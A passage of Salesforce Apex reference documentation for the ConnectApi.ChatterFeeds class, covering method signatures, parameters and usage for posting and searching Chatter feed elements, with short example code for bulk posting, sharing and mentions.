Use either the ID for a community, internal, or null.
feedElements
Type: List<ConnectApi.BatchInput Class>
The list can contain up to 500 ConnectApi.BatchInput objects. In the ConnectApi.BatchInput constructor, the
input object must be a concrete instance of the abstract ConnectApi.FeedElementInput class.
Return Value
Type: ConnectApi.BatchResult[]
The ConnectApi.BatchResult.getResult() method returns a ConnectApi.FeedElement object.
The returned objects correspond to each of the input objects and are returned in the same order as the input objects.
The method call fails only if an error occurs that affects the entire operation (such as a parsing failure). If an individual object causes an
error, the error is embedded within the ConnectApi.BatchResult list.
Usage
Use this method to post a list of feed elements efficiently. Create a list containing up to 500 objects and insert them all for the cost of
one DML statement.
The ConnectApi.BatchInput Class has three constructors, but the postFeedElementBatch method only supports
the two listed here. It doesn’t support multiple binary inputs.
In each constructor, the input object must be an instance of ConnectApi.FeedElementInput. Pick a constructor based on
whether or not you want to pass a binary input.
•ConnectApi.BatchInput(Object input)—No binary input
•ConnectApi.BatchInput(Object input, ConnectApi.BinaryInput binary)—One binary input.
Example
This trigger bulk posts to the feeds of newly inserted accounts.
trigger postFeedItemToAccount on Account (after insert) {
Account[] accounts = Trigger.new;
// Bulk post to the account feeds.
List<ConnectApi.BatchInput> batchInputs = new List<ConnectApi.BatchInput>();
for (Account a : accounts) {
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
966
ChatterFeeds ClassReference
input.subjectId = a.id;
ConnectApi.MessageBodyInput body = new ConnectApi.MessageBodyInput();
body.messageSegments = new List<ConnectApi.MessageSegmentInput>();
ConnectApi.TextSegmentInput textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Let\'s win the ' + a.name + ' account.';
body.messageSegments.add(textSegment);
input.body = body;
ConnectApi.BatchInput batchInput = new ConnectApi.BatchInput(input);
batchInputs.add(batchInput);
}
ConnectApi.ChatterFeeds.postFeedElementBatch(Network.getNetworkId(), batchInputs);
}
postFeedItem(communityId, feedType, subjectId, text)
Posts a feed item with plain text from the context user.
API Version
28.0–31.0
Important: In version 32.0 and later, use postFeedElement(communityId, subjectId, feedElementType, text).
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItem postFeedItem(String communityId, ConnectApi.FeedType
feedType, String subjectId, String text)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
One of the following:
•News
•Record
•UserProfile
Use Record to post to a group.
967
ChatterFeeds ClassReference
subjectId
Type: String
The value depends on the feedType:
•News—subjectId must be the ID of the context user or the keyword me.
•Record—The ID of any record with a feed, including groups.
•UserProfile—The ID of any user.
text
Type: String
The text of the feed item. Mentions are downgraded to plain text. To include a mention that links to the user, call the
postFeedItem(communityId, feedType, subjectId, feedItemInput, feedItemFileUpload)
method and pass the mention in a ConnectApi.FeedItemInput object.
Return Value
Type: ConnectApi.FeedItem
Note: Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that
ConnectApi.FeedItem.attachment information and ConnectApi.FeedElement.capabilities information
may not be available in the trigger.
Usage
Feed items and comments can contain up to 10,000 characters.
Posts to ConnectApi.FeedType.UserProfile in API versions 23.0 and 24.0 created user status updates, not feed items. For
posts to the User Profile Feed in those API versions, the character limit is 1,000 characters.
postFeedItem(communityId, feedType, subjectId, feedItemInput,
feedItemFileUpload)
Posts a feed item to the specified feed from the context user. Use this method to post rich text, including mentions and hashtag topics,
and to attach a file to a feed item. You can also use this method to share a feed item and add a comment.
API Version
28.0–31.0
Important: In version 32.0 and later, use postFeedElement(communityId, feedElement, feedElementFileUpload).
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItem postFeedItem(String communityId, ConnectApi.FeedType
feedType, String subjectId, ConnectApi.FeedItemInput feedItemInput,
ConnectApi.BinaryInput feedItemFileUpload)
968
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
One of the following:
•News
•Record
•UserProfile
To post a feed item to a group, use Record and use a group ID as the subjectId.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
feedItemInput
Type: ConnectApi.FeedItemInput
In the FeedItemInput object, specify rich text. Optionally, in the FeedItemInput.attachment property, specify a link,
a poll, an existing file, or a new file.
feedItemFileUpload
Type: ConnectApi.BinaryInput
If you specify a NewFileAttachmentInput object in the FeedItemInput.attachment property, specify the new
binary file to attach in this argument. Otherwise, do not specify a value.
Return Value
Type: ConnectApi.FeedItem
Note: Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that
ConnectApi.FeedItem.attachment information and ConnectApi.FeedElement.capabilities information
may not be available in the trigger.
Usage
Feed items and comments can contain up to 10,000 characters. Posts to ConnectApi.FeedType.UserProfile in API versions
23.0 and 24.0 created user status updates, not feed items. For posts to the User Profile Feed in those API versions, the character limit is
1,000 characters.
969
ChatterFeeds ClassReference
Example for Sharing a Feed Item and Adding a Comment
To share a feed item and add a comment, create a ConnectApi.FeedItemInput object containing the comment and the feed
item to share, and pass the object to ConnectApi.ChatterFeeds.postFeeditem in the feedItemInput argument.
The message segments in the message body input are used as the comment.
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.originalFeedItemId = '0D5D0000000JuAG';
ConnectApi.MessageBodyInput body = new ConnectApi.MessageBodyInput();
List<ConnectApi.MessageSegmentInput> segmentList = new
List<ConnectApi.MessageSegmentInput>();
ConnectApi.TextSegmentInput textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'I hope you enjoy this post I found in another group.';
segmentList.add((ConnectApi.MessageSegmentInput)textSegment);
body.messageSegments = segmentList;
input.body = body;
ConnectApi.ChatterFeeds.postFeedItem(null, ConnectApi.FeedType.UserProfile, 'me', input,
null);
Example for Posting a Mention to a User Profile Feed
To post to a user profile feed and include an @mention, call the ConnectApi.ChatterFeeds.postFeedItem method.
String communityId = null;
ConnectApi.FeedType feedType = ConnectApi.FeedType.UserProfile;
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
ConnectApi.MessageBodyInput messageInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MentionSegmentInput mentionSegment = new ConnectApi.MentionSegmentInput();
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Hey there ';
messageInput.messageSegments.add(textSegment);
mentionSegment.id = '005D0000001LLO1';
messageInput.messageSegments.add(mentionSegment);
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = '. How are you?';
messageInput.messageSegments.add(textSegment);
input.body = messageInput;
ConnectApi.FeedItem feedItemRep = ConnectApi.ChatterFeeds.postFeedItem(communityId, feedType,
'me', input, null);
searchFeedElements(communityId, q)
Returns the first page of all the feed elements that match the specified search criteria.
970
ChatterFeeds ClassReference
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElements(String communityId, String
q)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElements(communityId, q, result)
Testing ConnectApi Code
searchFeedElements(communityId, q, sortParam)
Returns the first page of all the feed elements that match the specified search criteria in the specified order.
API Version
31.0
971
ChatterFeeds ClassReference
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElements(String communityId, String
q, ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElements(communityId, q, sortParam, result)
Testing ConnectApi Code
972
ChatterFeeds ClassReference
searchFeedElements(communityId, q, pageParam, pageSize)
Searches feed elements and returns a specified page and page size of search results.
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElements(String communityId, String
q, String pageParam, Integer pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: ConnectApi.FeedElementPage
973
ChatterFeeds ClassReference
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElements(communityId, q, pageParam, pageSize, result)
Testing ConnectApi Code
searchFeedElements(communityId, q, pageParam, pageSize, sortParam)
Searches feed elements and returns a specified page and page size in a specified order.
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElements(String communityId, String
q, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
974
ChatterFeeds ClassReference
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElements(communityId, q, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code
searchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize,
sortParam)
Searches feed elements and returns a specified page and page size in a specified order. Each feed element includes no more than the
specified number of comments.
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElements(String communityId, String
q, Integer recentCommentCount, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)
975
ChatterFeeds ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code
976
ChatterFeeds ClassReference
searchFeedElementsInFeed(communityId, feedType, q)
Searches the feed elements for the Company, Home, Moderation, and PendingReview feed types.
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String q)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, Home, Moderation, and PendingReview.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, q, result)
Testing ConnectApi Code
977
ChatterFeeds ClassReference
searchFeedElementsInFeed(communityId, feedType, pageParam, pageSize,
sortParam, q)
Searches the feed elements for the Company, Home, Moderation, and PendingReview feed types and returns a specified
page and page size in a specified sort order.
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, Home, Moderation, and PendingReview.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
978
ChatterFeeds ClassReference
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q, result)
Testing ConnectApi Code
searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density,
pageParam, pageSize, sortParam, q)
Searches the feed elements for the Company, Home, Moderation, and PendingReview feed types and returns a specified
page and page size in a specified sort order. Each feed element includes no more than the specified number of comments.
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q)
Parameters
communityId
Type: String
979
ChatterFeeds ClassReference
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, Home, Moderation, and PendingReview.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.FeedElementPage
980
ChatterFeeds ClassReference
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q,
result)
Testing ConnectApi Code
searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density,
pageParam, pageSize, sortParam, q, filter)
Searches the feed elements for the Home feed type and returns a specified page and page size with the specified feed filter in a specified
sort order. Each feed element includes no more than the specified number of comments.
API Version
32.0
Available to Guest Users
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q,
ConnectApi.FeedFilter filter)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. The only valid value is Home.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
981
ChatterFeeds ClassReference
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
When the sortParam is MostViewed, you must pass in null for the pageParam.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
When the sortParam is MostViewed, the pageSize must be a value from 1 to 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
filter
Type: ConnectApi.FeedFilter
Specifies the feed filters.
•AllQuestions—Only feed elements that are questions.
•CommunityScoped—Only feed elements that are scoped to communities. Currently, these feed elements have a User or a
Group parent record. However, other parent record types could be scoped to communities in the future. Feed elements that
are always visible in all communities are filtered out. This value is valid only for the UserProfile feed.
•SolvedQuestions—Only feed elements that are questions and that have a best answer.
•UnansweredQuestions—Only feed elements that are questions and that don’t have any answers.
•UnsolvedQuestions—Only feed elements that are questions and that don’t have a best answer.
982
ChatterFeeds ClassReference
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q,
filter, result)
Testing ConnectApi Code
searchFeedElementsInFeed(communityId, feedType, subjectId, q)
Searches the feed items for a specified feed type.
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String q)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
and Streams.
subjectId
Type: String
983
ChatterFeeds ClassReference
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, q, result)
Testing ConnectApi Code
searchFeedElementsInFeed(communityId, feedType, subjectId, pageParam,
pageSize, sortParam, q)
Searches the feed elements for a specified feed type and context user, and returns a specified page and page size in a specified sort
order.
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q)
Parameters
communityId
Type: String
984
ChatterFeeds ClassReference
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
and Streams.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Specifies the order of feed items in the feed.
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
Search term. Searches keywords in the user or group name. A minimum of one character is required. This parameter does not support
wildcards. This parameter is required.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q, result)
Testing ConnectApi Code
985
ChatterFeeds ClassReference
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, q)
Searches the feed elements for a specified feed type and returns a specified page and page size in a specified sort order. Each feed
element includes no more than the specified number of comments.
API Version
31.0
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter,
and Streams.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
986
ChatterFeeds ClassReference
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
sortParam, q, result)
Testing ConnectApi Code
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, q, filter)
Searches the feed elements of the UserProfile feed. Use this method to filter the UserProfile feed to include only feed
elements that are scoped to communities. Feed elements that are always visible in all communities are filtered out. Currently, feed
elements scoped to communities have a User or a Group parent record. However, other parent record types could be scoped to
communities in the future.
987
ChatterFeeds ClassReference
API Version
35.0
Available to Guest Users
35.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedFilter filter)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.UserProfile.
subjectId
Type: String
The ID of any user. To specify the context user, use the user ID or the alias me.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
988
ChatterFeeds ClassReference
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
•MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
ConnectApi.FeedFilter is UnansweredQuestions.
•Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
One or more keywords to search for in the feed elements visible to the context user. The search string can contain wildcards and
must contain at least two characters that aren’t wildcards. See Wildcards.
filter
Type: ConnectApi.FeedFilter
Value must be ConnectApi.FeedFilter.CommunityScoped. Filters the feed to include only feed elements that are
scoped to communities. Feed elements that are always visible in all communities are filtered out. Currently, feed elements scoped
to communities have a User or a Group parent record. However, other parent record types could be scoped to communities in the
future.
Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
sortParam, q, filter, result)
Testing ConnectApi Code
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, q, showInternalOnly)
Searches the feed elements for a specified feed type and context user, and returns a specified page and page size in a specified sort
order. Each feed element includes no more than the specified number of comments. Specify whether to return feed elements posted
by internal (non-community) users only.
API Version
31.0
989
ChatterFeeds ClassReference
Available to Guest Users
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, Boolean showInternalOnly)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
recentCommentCount
Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
•AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of.
•FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder
990
ChatterFeeds ClassReference
Values are:
•CreatedDateDesc—Sorts by most recent creation date.
•LastModifiedDateDesc—Sorts by most recent activity.
